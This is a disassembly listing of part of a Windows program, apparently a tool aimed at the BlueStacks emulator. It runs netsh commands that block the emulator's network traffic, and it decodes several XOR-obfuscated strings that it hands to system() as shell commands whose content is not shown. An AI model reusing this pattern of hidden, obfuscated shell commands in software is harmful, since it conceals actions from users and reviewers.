lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock4__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock3__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock3__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
cmp byte [reloc.WLDAP32.dll_Ordinal_79], r13b
movups xmm0, xmmword [str.qWNNS_K_]
movups xmmword [rbp + 0x7f8], xmm0
movsd xmm0, qword [0x140173de8]
movsd qword [rbp + 0x808], xmm0
je 0x140061924
cmp r15d, 2
jl 0x1400618d9
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x7fc]
movdqa xmm5, xmmword [0x1401742f0]
mov edx, r13d
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov r8d, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x18
jl 0x1400617d0
jmp 0x140061924
lea r9, [rbp + 0x7f8]
mov r8d, r13d
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x1400618f0
lea rax, [rbp + 0x7f8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x140061932
lea rdx, [rbp + 0x7f8]
jmp 0x1400627d2
movups xmm0, xmmword [0x140173d00]
movups xmm1, xmmword [0x140173d10]
movups xmmword [rbp + 0xdf8], xmm0
movups xmm0, xmmword [0x140173d20]
movups xmmword [rbp + 0xe18], xmm0
movups xmm0, xmmword [0x140173d40]
movups xmmword [rbp + 0xe08], xmm1
movups xmm1, xmmword [0x140173d30]
movups xmmword [rbp + 0xe38], xmm0
movsd xmm0, qword [0x140173d60]
movsd qword [rbp + 0xe58], xmm0
movups xmmword [rbp + 0xe28], xmm1
movups xmm1, xmmword [0x140173d50]
movups xmmword [rbp + 0xe48], xmm1
cmp r15d, 2
jl 0x140061af9
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0xdfc]
movdqa xmm5, xmmword [0x1401742f0]
mov edx, r13d
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov r8d, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x68
jl 0x1400619f0
jmp 0x140061b44
lea r9, [rbp + 0xdf8]
mov r8d, r13d
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x68
jl 0x140061b10
lea rcx, [rbp + 0xdf8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x140173680]
mov r8d, r13d
movups xmm0, xmmword [0x140173670]
mov eax, dword [0x1401736d0]
mov dword [rbp + 0xa00], eax
movzx eax, word [0x1401736d4]
mov word [rbp + 0xa04], ax
movzx eax, byte [0x1401736d6]
mov byte [rbp + 0xa06], al
movups xmmword [rbp + 0x9b0], xmm1
movups xmm1, xmmword [0x1401736a0]
movups xmmword [rbp + 0x9a0], xmm0
movups xmm0, xmmword [0x140173690]
movups xmmword [rbp + 0x9d0], xmm1
movups xmm1, xmmword [0x1401736c0]
movups xmmword [rbp + 0x9c0], xmm0
movups xmm0, xmmword [0x1401736b0]
movups xmmword [rbp + 0x9f0], xmm1
movups xmmword [rbp + 0x9e0], xmm0
cmp r15d, 2
jl 0x140061d1f
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x9a4]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x60
jl 0x140061c10
cmp r8d, 0x67
jge 0x140061d64
movsxd rax, r8d
lea r9, [rbp + 0x9a0]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x67
jl 0x140061d30
lea rcx, [rbp + 0x9a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x140173f60]
mov r8d, r13d
movups xmm0, xmmword [str.VNHT]
mov eax, dword [0x140173fb0]
mov dword [rbp + 0xc18], eax
movups xmmword [rbp + 0xbc8], xmm1
movups xmm1, xmmword [0x140173f80]
movups xmmword [rbp + 0xbb8], xmm0
movups xmm0, xmmword [0x140173f70]
movups xmmword [rbp + 0xbe8], xmm1
movups xmm1, xmmword [0x140173fa0]
movups xmmword [rbp + 0xbd8], xmm0
movups xmm0, xmmword [0x140173f90]
movups xmmword [rbp + 0xc08], xmm1
movups xmmword [rbp + 0xbf8], xmm0
cmp r15d, 2
jl 0x140061f1f
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0xbbc]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x60
jl 0x140061e10
cmp r8d, 0x64
jge 0x140061f64
movsxd rax, r8d
lea r9, [rbp + 0xbb8]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x64
jl 0x140061f30
lea rcx, [rbp + 0xbb8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1401737a0]
mov r8d, r13d
movups xmm1, xmmword [0x1401737b0]
movzx eax, byte [0x140173808]
mov byte [rbp + 0xb76], al
movups xmmword [rbp + 0xb0e], xmm0
movups xmm0, xmmword [0x1401737c0]
movups xmmword [rbp + 0xb2e], xmm0
movups xmm0, xmmword [0x1401737e0]
movups xmmword [rbp + 0xb1e], xmm1
movups xmm1, xmmword [0x1401737d0]
movups xmmword [rbp + 0xb4e], xmm0
movsd xmm0, qword [0x140173800]
movsd qword [rbp + 0xb6e], xmm0
movups xmmword [rbp + 0xb3e], xmm1
movups xmm1, xmmword [0x1401737f0]
movups xmmword [rbp + 0xb5e], xmm1
cmp r15d, 2
jl 0x14006212f
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0xb12]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x68
jl 0x140062020
cmp r8d, 0x69
jge 0x140062174
movsxd rax, r8d
lea r9, [rbp + 0xb0e]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x69
jl 0x140062140
lea rcx, [rbp + 0xb0e]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140173b90]
mov r8d, r13d
movups xmm1, xmmword [0x140173ba0]
mov eax, dword [0x140173c00]
mov dword [rbp + 0xb07], eax
movzx eax, word [0x140173c04]
mov word [rbp + 0xb0b], ax
movzx eax, byte [0x140173c06]
mov byte [rbp + 0xb0d], al
movups xmmword [rbp + 0xa97], xmm0
movups xmm0, xmmword [0x140173bb0]
movups xmmword [rbp + 0xab7], xmm0
movups xmm0, xmmword [0x140173bd0]
movups xmmword [rbp + 0xaa7], xmm1
movups xmm1, xmmword [0x140173bc0]
movups xmmword [rbp + 0xad7], xmm0
movups xmm0, xmmword [0x140173bf0]
movups xmmword [rbp + 0xac7], xmm1
movups xmm1, xmmword [0x140173be0]
movups xmmword [rbp + 0xaf7], xmm0
movups xmmword [rbp + 0xae7], xmm1
cmp r15d, 2
jl 0x14006235f
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0xa9b]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x70
jl 0x140062250
cmp r8d, 0x77
jge 0x1400623a4
movsxd rax, r8d
lea r9, [rbp + 0xa97]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x77
jl 0x140062370
lea rcx, [rbp + 0xa97]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140173b90]
mov r8d, r13d
movups xmm1, xmmword [0x140173ba0]
mov eax, dword [0x140173c00]
mov dword [rbp + 0xa90], eax
movzx eax, word [0x140173c04]
mov word [rbp + 0xa94], ax
movzx eax, byte [0x140173c06]
mov byte [rbp + 0xa96], al
movups xmmword [rbp + 0xa20], xmm0
movups xmm0, xmmword [0x140173bb0]
movups xmmword [rbp + 0xa40], xmm0
movups xmm0, xmmword [0x140173bd0]
movups xmmword [rbp + 0xa30], xmm1
movups xmm1, xmmword [0x140173bc0]
movups xmmword [rbp + 0xa60], xmm0
movups xmm0, xmmword [0x140173bf0]
movups xmmword [rbp + 0xa50], xmm1
movups xmm1, xmmword [0x140173be0]
movups xmmword [rbp + 0xa80], xmm0
movups xmmword [rbp + 0xa70], xmm1
cmp r15d, 2
jl 0x14006258f
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0xa24]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x70
jl 0x140062480
cmp r8d, 0x77
jge 0x1400625d4
movsxd rax, r8d
lea r9, [rbp + 0xa20]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x77
jl 0x1400625a0
lea rcx, [rbp + 0xa20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
movzx eax, byte [0x140173dc0]
mov r8d, r13d
mov byte [rbp + 0x33d], al
movups xmm0, xmmword [0x140173da8]
movups xmmword [rbp + 0x325], xmm0
movsd xmm0, qword [0x140173db8]
movsd qword [rbp + 0x335], xmm0
cmp r15d, 2
jl 0x14006276f
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x329]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x140062660
cmp r8d, 0x19
jge 0x1400627b4
movsxd rax, r8d
lea r9, [rbp + 0x325]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x140062780
lea rax, [rbp + 0x325]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x1400627c2
lea rdx, [rbp + 0x325]
lea rcx, [0x1401b92c0]
call fcn.140042c70
mov rax, qword [0x1401ba210]
mov rax, qword [rax + 0x3ee0]
cmp byte [rax + 0xb3], r13b
jne 0x140062807
mov eax, dword [rax + 0x1ac]
neg eax
sbb ecx, ecx
add ecx, 6
call fcn.140036920
cmp byte [0x140173a53], r13b
movups xmm0, xmmword [str.VHXY]
mov eax, dword [0x140173a50]
mov dword [rbp + 0x8a8], eax
movups xmmword [rbp + 0x898], xmm0
je 0x1400629c4
mov r8d, r13d
cmp r15d, 2
jl 0x14006297f
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x89c]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
